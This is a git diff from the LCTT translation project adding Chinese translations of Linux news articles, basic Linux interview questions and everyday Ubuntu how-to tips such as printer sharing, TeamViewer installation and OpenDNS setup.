||||
我对操作系统以及使用C语言进行编程非常感兴趣,但是我对内核开发没有任何经验,但是我觉的这是一个起步的好地方。
|
||||
|
||||
### Xenia Ragiadakou ###
|
||||
|
||||
目前,我在克利特大学学习计算机科学。过去,我已经修完了几门课程,如经济学,东欧研究史等。我决定另换一个领域的原因是我感到厌烦了。我不知道这个想法是否明智。但是我意识到我需要的是更加具有创造性、富有变化以及非常实用的东西。所以,我决定进入计算机科学学院学习。现在,我的内心重新回复平静:我觉的编程是一件更加适合我的事情。这就像玩游戏一样,我非常喜欢编程的乐趣。
|
||||
目前,我在克利特大学学习计算机科学。过去,我已经修完了几门课程,如经济学,东欧研究史等。我决定另换一个领域的原因是我感到厌烦了。我不知道这个想法是否明智。但是我意识到我需要的是更加具有创造性、富有变化以及非常实用的东西。所以,我决定进入计算机科学学院学习。现在,我的内心重新回复平静:我觉得编程是一件更加适合我的事情。这就像玩游戏一样,我非常喜欢编程的乐趣。
|
||||
|
||||
**为什么你申请同OPW一起为Linux内核工作**
|
||||
|
||||
想加入开源项目的想法已经在我的脑海中存在很久了,但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1)OPW针对女性这一目标是我感到更加舒坦。2)我非常喜欢在Linux系统中工作。3)被引入Linux内核的开发过程非常平顺,会在应用开发的早期加入进去。
|
||||
想加入开源项目的想法已经在我的脑海中存在很久了,但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1)OPW针对女性这一目标是我感到更加舒坦。2)有Linux核心方面的项目。3)被引入Linux内核的开发过程非常平顺,会在应用开发的早期加入进去。
|
||||
|
||||
作者:[Libby Clark][5]
|
||||
|
||||

|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.linux.com/news/featured-blogs/200-libby-clark/746687-outreach-program-for-women-seeks-new-linux-kernel-interns/
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasmiepeng](https://github.com/jasminepeng),[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
@ -98,3 +103,4 @@ via: http://www.linux.com/news/featured-blogs/200-libby-clark/746687-outreach-pr
|
||||
[2]:http://lwn.net/Articles/563977/
|
||||
[3]:http://lwn.net/Articles/570483/
|
||||
[4]:http://kernelnewbies.org/OPWIntro
|
||||
[5]:http://www.linux.com/community/forums/person/41373/catid/200-libby-clark
|
@ -1,40 +1,41 @@
|
||||
Red Hat 准备64位ARM服务器
|
||||
Red Hat 为64位ARM服务器做准备
|
||||
================================================================================
|
||||
> ARM处理器可能带来具有成千上万的节点的服务器机架,Red Hat的ARM首席预测
|
||||
|
||||
IDG新闻服务 - 企业开源软件供应商Red Hat公司正在密切关注服务器的64位ARM处理器的发展,为保持在数据中心的新生平台建立专业体系。
|
||||
> ARM处理器可能带来具有成千上万的节点的堆叠服务器,Red Hat的ARM首席架构师预测说
|
||||
|
||||
来自IDG新闻服务:企业开源软件供应商Red Hat公司正在密切关注服务器的64位ARM处理器的发展,以建立在数据中心的新生平台上的专业能力。
|
||||
|
||||
“你们在当今的商业产品市场看不到我们,但我们已经建立了超越如今一些64位技术的能力。所以接下来,如果我们有一个需要应对的市场,我们将有能力应对,”Red Hat首席ARM设计师Jon Masters说。这是Masters周五在华盛顿特区举行的USENIX LISA(大型安装系统管理)会议上提出的。
|
||||
|
||||
ARM处理器代表了“计算上翻天覆地的变化,”Masters说。虽然已经在智能手机和嵌入式计算设备占据主导地位,ARM处理器架构还可以在数据中心发挥作用。在过去的一年中,基于ARM处理器的服务器已经开始出现在服务器市场。惠普已经开始销售基于ARM架构的Moonshot系列服务器。
|
||||
|
||||
对于数据中心,ARM可能会带来超大规模计算时代因其低功耗设计,这样数千个微型计算节点可以打包成一个服务器机架。“我们在不久的将来能够建立起完全区别于现今的规模。”Masters说。
|
||||
对于数据中心,ARM可能会因其低功耗设计而带来超大规模计算时代,这样数千个微型计算节点可以打包成一个堆叠服务器。“我们在不久的将来能够建立起完全区别于现今的规模。”Masters说。
|
||||
|
||||
ARM处理器可能无法以x86处理器的速度运行,但它们可以提供大部分的性能而只消耗一小部分使用量,这意味着在一个较小的空间可以打包更多的处理器。“你可以用你手机中相同的技术,作为高密度服务器设计的一部分”Masters说。
|
||||
ARM处理器可能无法以x86处理器的速度运行,但它们可以提供大部分的性能而只消耗一小部分能源,这意味着在一个较小的空间可以打包更多的处理器。“你可以用你手机中相同的技术,作为高密度服务器设计的一部分”,Masters说。
|
||||
|
||||
他说,许多工作并不需要最快的处理器。相反,工作负载可以分布在更多的处理器上。“这和我能移动多少数据有关系,并不一定和我能做多少计算有关,”他说。例如,云计算和Web应用程序运行在多个服务器上,和运行在较少但速度更快的服务器上的表现会同样出色。
|
||||
他说,许多工作并不需要最快的处理器。相反,工作负载可以分布在更多的处理器上。“这和我能移动多少数据有关系,并不一定和我能做多少计算有关,”他说。例如,云计算和Web应用程序运行在多个服务器上,和运行在数量较少但速度更快的服务器上的表现会同样出色。
|
||||
|
||||
ARM的设计也可以简化数据中心操作。ARM系统上芯片设计可以解决管理许多服务器的外部元件的需要。例如,ARM处理器可以提供构造的互联互通,减少外部电缆和顶级机架交换机的需要。
|
||||
ARM的设计也可以简化数据中心操作。ARM的芯片内系统的设计方式可以解决管理许多服务器的外部元件的需要。例如,ARM处理器可以提供交叉互联,减少外部电缆和顶级机架交换机的需要。
|
||||
|
||||
“每一个刀片都具有离散布线已经指日可待了, ”他说。
|
||||
|
||||
超大规模计算还需要做大量的工作,Masters说。
|
||||
Masters说超大规模计算还需要做大量的工作。
|
||||
|
||||
ARM授权架构而和英特尔卖处理器不一样。其结果是,从不同供应商提供的不同的ARM处理器有相当程度的变化。“有很多我们不需要的,不必要的变化,”Masters说。 ”这可能成为需要统一系统来管理集体的数据中心的一个问题。
|
||||
ARM授权它的架构而不是和英特尔一样卖处理器。其结果是,从不同供应商提供的不同的ARM处理器有相当程度的变化。“有很多我们不需要的,不必要的变化,”Masters说。 ”这可能成为需要统一系统来管理集体的数据中心的一个问题。
|
||||
|
||||
[Linaro][1]是一个致力于为ARM平台和部分已经标准化ARM任务开发核心开源软件的产业群。Red Hat的工程师发挥了重要作用,Linaro企业集团,或称为LEG,一直在努力规范软件,让用户可以得到一个能运行在不同供应商提供的ARM处理器的Linux版本。”这些都是在企业领域的基本期望,”Masters说。
|
||||
|
||||
“我们需要把重心放在如何使它们从根本上兼容,这样你可以进一步增加堆栈的值,”他说。
|
||||
“我们需要把重心放在如何使它们从根本上兼容,这样你可以进一步增加堆叠,”他说。
|
||||
|
||||
另一个问题是还没标准化的32位ARM处理器被的外部设备支持。Masters说,LEG正在考虑使用64位ARM处理器的ACPI(高级配置和电源接口)标准或UEFI(统一可扩展固件接口)。随着时间的推移,ARM将提供一个自动化类总线能力,比如将提供支持x86的机器的PCI总线。
|
||||
另一个问题是对外围设备的支持,仍然没有标准化的32位ARM处理器。Masters说,LEG正在考虑使用64位ARM处理器的ACPI(高级配置和电源接口)标准或UEFI(统一可扩展固件接口)。随着时间的推移,ARM将提供一个类似自动化总线的能力,比如将提供支持x86的机器的PCI总线。
|
||||
|
||||
Masters说,Red Hat还没有发布任何关于什么时候会发布一个ARM架构的Red Hat企业Linux版本的通知,但他明确指出,测试了许多RHEL应用程序的社区Linux发行版Fedora项目,现在已经为ARM提供了一个分布。
|
||||
Masters说,Red Hat还没有宣布任何关于什么时候会发布一个ARM架构的Red Hat企业Linux版本的通知,但他明确指出,测试了许多RHEL应用程序的社区Linux发行版Fedora项目,现在已经为ARM提供了一个发行版。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.computerworld.com/s/article/9243921/Red_Hat_prepares_for_64_bit_ARM_servers?taxonomyId=122
|
||||
|
||||
译者:[whatever1992](https://github.com/whatever1992) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
@ -0,0 +1,27 @@
|
||||
Suse Linux 延长支持期时间到10年
|
||||
================================================================================
|
||||
**Suse在客户的要求下延长了支持期**
|
||||
|
||||
Suse Linux Enterprise (SLE)(11版)及以后的版本将会迎来10年的支持期和而不是现在的7年,此举是为了应对竞争对手的服务。
|
||||
|
||||
Suse的总裁和总经理尼尔.布劳克曼,在佛罗里达的维斯塔湖举办的Suse 2013会议上的发言说:"我们将进入一个新的Suse Linux Enterprise支持周期。"这个主题演讲的[视频][1]已经被放到了YouTube上。
|
||||
|
||||
Suse产品管理和操作的高级总监杰拉尔德.普法伊费尔,在周三的一封邮件中说:"Suse Linux Enterprise 11是首个得到10年支持期的主要版本,以及3年的扩展支持(LTSS)。我们也考虑向前推进这个新的Suse Linux Enterprise的支持周期,同样包含了12版。"Suse售卖开源Linux软件给企业。
|
||||
|
||||
普法伊费尔说:"Suse提供不同的包用于扩展支持。扩展支持到13年将花费$60,000/每100台服务器,或者$80,000/每500台服务器。如果不限制服务器的数量,费用是$125,000.这些价格已经沿用好几年了。"
|
||||
|
||||
布劳克曼在他的主题演讲中说:"从一个7+3年的支持期到10+3年的支持期,客户能得到更多时间通用支持。"他还说:"这个决定是在几周前在客户的反映下做出的。"
|
||||
|
||||
Suse的支持期延长是随着Red Hat的在去年1月的行动,RedHat根据客户需求将 Red Hat Enterprise Linux (RHEL) 5和6的生命周期延长到10年。
|
||||
|
||||
基于RHEL的Oracle Linux,去年2月将支持期从8年延长到10年。而基于Enterprise Linux的重编译版本的CentOS,同样将支持周期延长到10年有一段时间了。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.itworld.com/operating-systems/382610/suse-linux-enterprise-expands-regular-support-10-years
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.youtube.com/watch?v=T0W4izFu_WM
|
@ -0,0 +1,164 @@
|
||||
Linux 面试基础问题 - 2
|
||||
================================================================================
|
||||
继续我们这面试系列,在这篇文章里我们给出了10个问题。这些问题或者是在以后的文章中出现的问题不一定在面试中会被问到。然而通过这些文章我们呈现出的是一个交互的学习平台,这必将会对你有很大的帮助。
|
||||
|
||||

|
||||
|
||||
自本系列的上一篇文章[11个基本的 Linux 面试问题][1],我们分析了不同论坛对此作出的评论,这对我们将更好的文章提供给我们的读者是很重要的。我们付出了时间和金钱,那我们又渴望从你们身上得到什么回报呢?答案是没有的。如果你不能赞扬我们的工作,但恳请不要在评论中诋毁我们的工作。
|
||||
|
||||
如果你在文章中没有找到什么新的东西,但也请不要忘记它对某些人却是非常有用的,并且他或她会非常感激我们的工作。我们不能够让每一篇文章都使大家高兴。但我希望读者们能够尽量理解。
|
||||
|
||||
### Q.1:哪一条命令用于把用户登录会话记录在文件中? ###
|
||||
|
||||
- macro
|
||||
- read
|
||||
- script
|
||||
- record
|
||||
- sessionrecord
|
||||
|
||||
> **答**:‘script’ 命令是用来把用户登录的会话信息记录在文件里。这条命令能够用在 shell 脚本里面,或者直接在终端中使用。下面是一个例子,它记录了开始用 script 到输入 exit 结束之间的所有东西。
|
||||
|
||||
如下命令记录用户登录会话到一个文件中:
|
||||
|
||||
[root@tecmint ~]# script my-session-record.txt
|
||||
|
||||
Script started, file is my-session-record.txt
|
||||
|
||||
记录的文件“my-session-record.txt”可以通过下述方式查看:
|
||||
|
||||
[root@tecmint ~]# nano my-session-record.txt
|
||||
|
||||
script started on Friday 22 November 2013 08:19:01 PM IST
|
||||
[root@tecmint ~]# ls
|
||||
^[[0m^[[01;34mBinary^[[0m ^[[01;34mDocuments^[[0m ^[[01;34mMusic^[[0m $
|
||||
^[[01;34mDesktop^[[0m ^[[01;34mDownloads^[[0m my-session-record.txt ^[[01;34$
|
||||
|
||||
### Q.2:以下那一条命令可以用来查看内核日志信息 ###
|
||||
|
||||
- dmesg
|
||||
- kernel
|
||||
- ls -i
|
||||
- uname
|
||||
- 以上全不是
|
||||
|
||||
> **答**:执行 'dmesg' 命令可以查看内核的日志信息。在上面的命令中,kernel 不是一个有效的命令,'ls -i' 是用来列出工作目录中文件的索引节点,而 'uname' 是用来显示操作系统信息的。
|
||||
|
||||
[root@tecmint ~]# dmesg
|
||||
|
||||
Initializing cgroup subsys cpuset
|
||||
Initializing cgroup subsys cpu
|
||||
Linux version 2.6.32-279.el6.i686 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Jun 22 10:59:55 UTC 2012
|
||||
KERNEL supported cpus:
|
||||
Intel GenuineIntel
|
||||
AMD AuthenticAMD
|
||||
NSC Geode by NSC
|
||||
Cyrix CyrixInstead
|
||||
Centaur CentaurHauls
|
||||
Transmeta GenuineTMx86
|
||||
Transmeta TransmetaCPU
|
||||
UMC UMC UMC UMC
|
||||
Disabled fast string operations
|
||||
BIOS-provided physical RAM map:
|
||||
...
|
||||
|
||||
### Q.3:哪一条命令是用来显示 Linux 内核发行信息的? ###
|
||||
|
||||
- uname -v
|
||||
- uname -r
|
||||
- uname -m
|
||||
- uname -n
|
||||
- uname -o
|
||||
|
||||
> **答**:‘uname -r’是用来显示内核的发行信息。其它参数‘-v’、‘-m’、‘-n’、‘o’分别显示内核版本、机器硬件名称、网络节点、主机名和操作系统。
|
||||
|
||||
[root@tecmint ~]# uname -r
|
||||
|
||||
2.6.32-279.el6.i686
|
||||
|
||||
### Q.4:那一条命令是被用来识别文件类型的? ###
|
||||
|
||||
- type
|
||||
- info
|
||||
- file
|
||||
- which
|
||||
- ls
|
||||
|
||||
> **答**:‘file’命令是用来识别文件类型的。其语法是‘file [选项] 文件名’。
|
||||
|
||||
[root@tecmint ~]# file wtop
|
||||
|
||||
wtop: POSIX shell script text executable
|
||||
|
||||
### Q.5:哪一条命令是被用来找一条命令的二进制文件、源和手册的所在的路径? ###
|
||||
|
||||
> **答**:‘whereis’驾到!‘whereis’命令是用来找一条命令的二进制文件、源和手册的所在的路径。
|
||||
|
||||
[root@tecmint ~]# whereis /usr/bin/ftp
|
||||
|
||||
ftp: /usr/bin/ftp /usr/share/man/man1/ftp.1.gz
|
||||
|
||||
### Q.6:当用户登录时,默认情况下哪些文件会被调用作为用户配置? ###
|
||||
|
||||
> **答**:在用户的目录下‘.profile’和‘.bashrc’会默认地被调用作为用户配置。
|
||||
|
||||
[root@tecmint ~]# ls -al
|
||||
-rw-r--r--. 1 tecmint tecmint 176 May 11 2012 .bash_profile
|
||||
-rw-r--r--. 1 tecmint tecmint 124 May 11 2012 .bashrc
|
||||
|
||||
### Q.7:‘resolve.conf’文件是什么的配置文件? ###
|
||||
|
||||
> **答**:‘/etc/resolve.conf’ 是 DNS 客户端的配置文件。
|
||||
|
||||
[root@tecmint ~]# cat /etc/resolv.conf
|
||||
|
||||
nameserver 172.16.16.94
|
||||
|
||||
### Q.8:哪一条命令是用来创建一个文件的软链接的? ###
|
||||
|
||||
- ln
|
||||
- ln -s
|
||||
- link
|
||||
- link -soft
|
||||
- 以上都不是
|
||||
|
||||
> **答**:在 Linux 环境下,‘ls -s’是被用来创建一个文件的软链接的。
|
||||
|
||||
[root@tecmint ~]# ln -s /etc/httpd/conf/httpd.conf httpd.original.conf
|
||||
|
||||
### Q.9:在Linux下,‘pwd’命令是‘passwd’命令的别名吗? ###
|
||||
|
||||
> **答**:不是!默认情况下‘pwd’命令不是‘passwd’命令的别名。‘pwd’是‘print working directory’(显示工作目录)的缩写,也就是输出当前的工作目录,而‘passwd’在 Linux 中是被用来更改用户的帐号密码。
|
||||
|
||||
[root@tecmint ~]# pwd
|
||||
|
||||
/home/tecmint
|
||||
|
||||
[root@tecmint ~]# passwd
|
||||
Changing password for user root.
|
||||
New password:
|
||||
Retype new password:
|
||||
|
||||
### Q.10:在 Linux 中,你会怎样检测 pci 设备的厂商和版本。 ###
|
||||
|
||||
> **答**:我们用的 Linux 命令是‘lspci’。
|
||||
|
||||
[root@tecmint ~]# lspci
|
||||
|
||||
00:00.0 Host bridge: Intel Corporation 5000P Chipset Memory Controller Hub (rev b1)
|
||||
00:02.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 2-3 (rev b1)
|
||||
00:04.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 4-5 (rev b1)
|
||||
00:06.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 6-7 (rev b1)
|
||||
00:08.0 System peripheral: Intel Corporation 5000 Series Chipset DMA Engine (rev b1)
|
||||
...
|
||||
|
||||
现在就到这里。我希望以上的问题也许对你很有用。在下星期我会再想出一些新的问题。到时请保持好的健康,继续关注我们并且与 Tecmint 保持联系喔!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers-part-ii/
|
||||
|
||||
译者:[hyaocuk](https://github.com/hyaocuk) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://linux.cn/article-2315-1.html
|
@ -0,0 +1,50 @@
|
||||
每日Ubuntu小技巧-使用Windows共享打印机进行打印
|
||||
===
|
||||
|
||||
对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户,这篇博文向你展示如何在Windows中共享一个打印机,并允许Ubuntu使用它来打印。
|
||||
|
||||
几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机,但为包括Ubuntu在内的Linux系统生产的并不多。所以,假如你有一台支持Windows的打印机,你可以在Windows机器上分享它,然后让其它系统来使用它来打印。
|
||||
|
||||
在几年之前,我遇到了这个问题,那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。(译注:除非是特别冷门的打印机,现在一般都可以在Linux进行打印操作了。在译者看来,本文的理由不成立,不过做法成立。)
|
||||
|
||||
我在我的Windows机器上安装了打印机驱动,然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好,但是我的Ubuntu却无法使用它来打印,因为打印机并不支持LAN接口。
|
||||
|
||||
所以,我在Windows上共享该打印机,然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景,你可以按照下面的指导来操作。
|
||||
|
||||
首先,登入Windows,右击你要共享的打印机,然后点击‘**Printer properties(打印机属性)**’
|
||||
|
||||

|
||||
|
||||
接着,选择“**Sharing(共享)**”标签页,勾选‘**Share this printer(共享这台打印机)**’复选框来共享。记住共享打印机的名字,因为你要使用这个共享名来连接这台打印机。
|
||||
|
||||

|
||||
|
||||
最后,以管理员权限运行命令行终端,运行以下命令以便于文件和打印机可以通过防火墙实现共享。
|
||||
|
||||
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
|
||||
|
||||
接着,登入Ubuntu中,选择顶部面板右边的**齿轮**,然后选择**系统设置...**
|
||||
|
||||
系统设置打开后,选择打印机,然后点击**添加**。当跳出来一个窗口让你选择设备时,选择‘**Windows Printer via SAMBA(使用SAMBA的Windows打印机)**’。
|
||||
|
||||

|
||||
|
||||
键入Windows电脑的IP地址或者主机名,后面接着键入共享的打印机名。你可能需要键入你的windows验证信息(用户名和密码)。点击浏览来验证你是否可以看到打印机,当你完成这些后,就可以点击下一步继续。
|
||||
|
||||
接着,选择打印机品牌和型号。假如你在列表中看不到特定的型号,选择一个最接近它的然后继续。
|
||||
|
||||

|
||||
|
||||
以上这些都搞定了之后,你的打印机就已安装好,可以使用喽。
|
||||
|
||||

|
||||
|
||||
好好享受吧!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,50 @@
|
||||
每日Ubuntu小技巧 - 使用TeamViewer连接远程桌面
|
||||
================================================================================
|
||||
TeamViewer,是一款热门的远程支持和桌面共享工具,并且它的Windows版、Mac OS X版和Linux版(包含Ubuntu)已经更新到版本 9 了。TeamViewer 允许你在任何地方通过网络控制任何电脑。
|
||||
|
||||
如果你在谈一桩生意或者帮助别人解决一些与电脑相关的问题,例如杀毒,又或者远程共享你的屏幕内容,那同样,它是一款功能强大的工具,值得拥有。
|
||||
|
||||
以下是这个支持工具如何使用的例子。
|
||||
|
||||
最近,我妈妈打电话给我说她想弄清楚如何安装一个程序。当我在电话中花了几分钟尝试帮她弄那个程序,不过都失败后,我决定自己来。
|
||||
|
||||
因此我们两个人都花了几分钟下载了 TeamViewer,我连接上了她的电脑并且帮她安装了那个程序。
|
||||
|
||||
这是一个 TeamViewer 如何帮助你解决问题的例子,如果你准备使用 TeamViewer 来帮助你的顾客或者是客户的话,你可能需要购买一个授权许可来遵守公司的政策。
|
||||
|
||||
我宁愿选择 TeamViewer 而不选择其它远程支持工具的另外一个原因是它允许你直接使用,无需安装,至少在 Windows 上是这样。如果你只使用一次的话,那么你只需要运行它,而它却不会占用你的磁盘空间。
|
||||
|
||||
现在 TeamViewer 能够在几乎所有操作系统上运行,包括 Android 和 IOS。
|
||||
|
||||
Windows 用户可以 [从这里下载 TeamViewer][1]
|
||||
|
||||
Ubuntu 用户可以 [从这链接下载并运行 TeamViewer][2]
|
||||
|
||||
在 Ubuntu 轻松安装 TeamViewer,运行下面的命令来下载安装程序
|
||||
|
||||
wget http://download.teamviewer.com/download/teamviewer_linux.deb
|
||||
|
||||
对于 **64位操作系统**, 使用下面的链接.
|
||||
|
||||
wget http://download.teamviewer.com/download/teamviewer_linux_x64.deb
|
||||
|
||||
最后,运行下面的命令来安装。
|
||||
|
||||
sudo dpkg -i teamviewer_linux*.deb; sudo apt-get -f install
|
||||
|
||||
去试试吧!
|
||||
|
||||

|
||||
|
||||
如果上述的命令不能成功运行的话,那么就去 TeamViewer [下载页面来下载][2].
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-teamviewer-9-is-available-for-download/
|
||||
|
||||
译者:[hyaocuk](https://github.com/hyaocuk) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.teamviewer.com/en/download/windows.aspx
|
||||
[2]:http://www.teamviewer.com/en/download/linux.aspx
|
@ -0,0 +1,37 @@
|
||||
每日Ubuntu小技巧 - 使用旧式Gnome风格的菜单
|
||||
================================================================================
|
||||
|
||||
喜欢GNOME风格菜单?安装Class Menu Indicator吧。
|
||||
|
||||
对于那些从开始就一直关注Ubuntu操作系统的人,他们看见几乎所有的Ubuntu经历的改变。发生了许多的改变,尤其是在桌面部分。从经典的GNOME桌面环境到Unity,Ubuntu已经完全地重新设计了。
|
||||
|
||||
对于那些新用户,他们所知道的就是Unity桌面环境,仅仅只是听说过或者见过之前Ubuntu的原始GNOME桌面环境。
|
||||
|
||||
如果你是一个老资格用户,想要在Ubuntu的Unity回到GNOME风格的菜单,安装Classic Menu Indicator 可以解决这个问题。这个有趣的包被安装在顶部面板的通知区域,在Ubuntu中带回了GNOME风格菜单体验。
|
||||
|
||||
像经典的GNOME菜单一样,它包括所有的应用和经典菜单结构。对于曾经使用过它的人们是容易导航和开启应用。对于新用户,它也是容易掌握。
|
||||
|
||||
接下来的简短指导将会告诉你如何在Ubuntu中安装这个包。
|
||||
|
||||
马上开始,在键盘上按下 **Ctrl – Alt – T** 打开终端。
|
||||
|
||||
打开完毕后,运行下列命令,加入它的PPA文件
|
||||
|
||||
sudo apt-add-repository ppa:diesch/testing
|
||||
|
||||
接来下,运行下列命令安装它。
|
||||
|
||||
sudo apt-get update && sudo apt-get install classicmenu-indicator
|
||||
|
||||
安装完成后,在Unity Dash中启动。它叫Classic Menu Indicator。当你启动它的时候,它会自动的嵌入顶部面板,如下图。
|
||||
|
||||

|
||||
|
||||
就是这样,使用并享受吧!
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipslike-gnome-classic-menu-get-classic-menu-indicator/
|
||||
|
||||
译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,32 @@
|
||||
每日Ubuntu小技巧-让鼠标适合左利手用户
|
||||
================================
|
||||
|
||||
电脑的鼠标被设计成使用食指(大拇指旁边的那个手指)完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时,多数情况下你会使用食指完成点击动作。
|
||||
|
||||
事实上,许多左利手用户(俗称左撇子)习惯把鼠标放到键盘的左边,然后用中指进行单击操作。但这并不是左利手用户使用鼠标最好的方法。
|
||||
|
||||
这个简短的教程为想要正确地使用左手操作鼠标的用户而编写。它将会帮助左利手用户将鼠标设置成用食指点击鼠标主键的操作模式。
|
||||
|
||||
这个教程同样适用于右利手用户。如果鼠标为左利手用户设置,那么右利手用户可以使用这个教程将鼠标键切换回来。
|
||||
|
||||
好了,现在咱们开始吧,点击顶部右端面板中的齿轮按钮选择**System Settings(系统设置)**...
|
||||
|
||||

|
||||
|
||||
然后在系统设置选项中选择**Mouse & Touchpad (鼠标和触摸板)**,打开后选择‘**Right(右)**’选项,这样就可以改变鼠标的主键以适应左利手用户。
|
||||
|
||||

|
||||
|
||||
改回左以适应右利手用户。改变将会在选择后立即生效。
|
||||
|
||||
就是这样了。现在左撇子用户可以将鼠标移到键盘左边,用左手的食指来正确地操作鼠标了。
|
||||
|
||||
使用愉快!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/
|
||||
|
||||
译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,36 @@
|
||||
每日Ubuntu小技巧-使用OpenDNS来保护你的电脑
|
||||
===
|
||||
|
||||
互联网是个大熔炉。无论是好人还是坏人,都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
|
||||
|
||||
就像人们所说的那样,互联网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供了免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入互联网真是一件好事情。
|
||||
|
||||
但是有些事情你一定要记住,当你连入互联网时,你的电脑就成了攻击的目标。成为病毒,木马和其它程序破坏的目标。
|
||||
|
||||
正因为此,推荐连入互联网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
|
||||
|
||||
当寻找添加一个额外的安全层去保护你的机器时,使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成,尽力对其每一部分都进行相应保护是保证安全的最好方法。
|
||||
|
||||
首先,你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器,因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。(译注:我们认为,其实在Ubuntu上使用反病毒和反间谍软件并不太必要,但是使用OpenDNS来拦截对恶意网址的访问是有必要的。另外,使用国外的DNS可能会比较慢,也许过一段时间,国内也会出现类似的服务。)
|
||||
|
||||
这是一个简明手册,告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。
|
||||
|
||||
sudo gedit /etc/dhcp/dhclient.conf
|
||||
|
||||
最后,在打开的文件中添加下面一行,然后保存。
|
||||
|
||||
supersede domain-name-servers 208.67.222.222,208.67.220.220;
|
||||
|
||||
重启你的电脑,祝你玩的开心!
|
||||
|
||||

|
||||
|
||||
好好享受吧!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,24 @@
|
||||
通俗易懂的设计故事更能激发你的创意
|
||||
================================================================================
|
||||
|
||||
伴随着产品品质、性能稳定和灵活性的提高,Ubuntu渐渐吸引了一批富有经验的设计师,这些设计师覆盖了越来越多的Ubuntu角落,其中就包括操作系统界面美化、优化行为、以及更为贴心的交互实现等等。
|
||||
|
||||
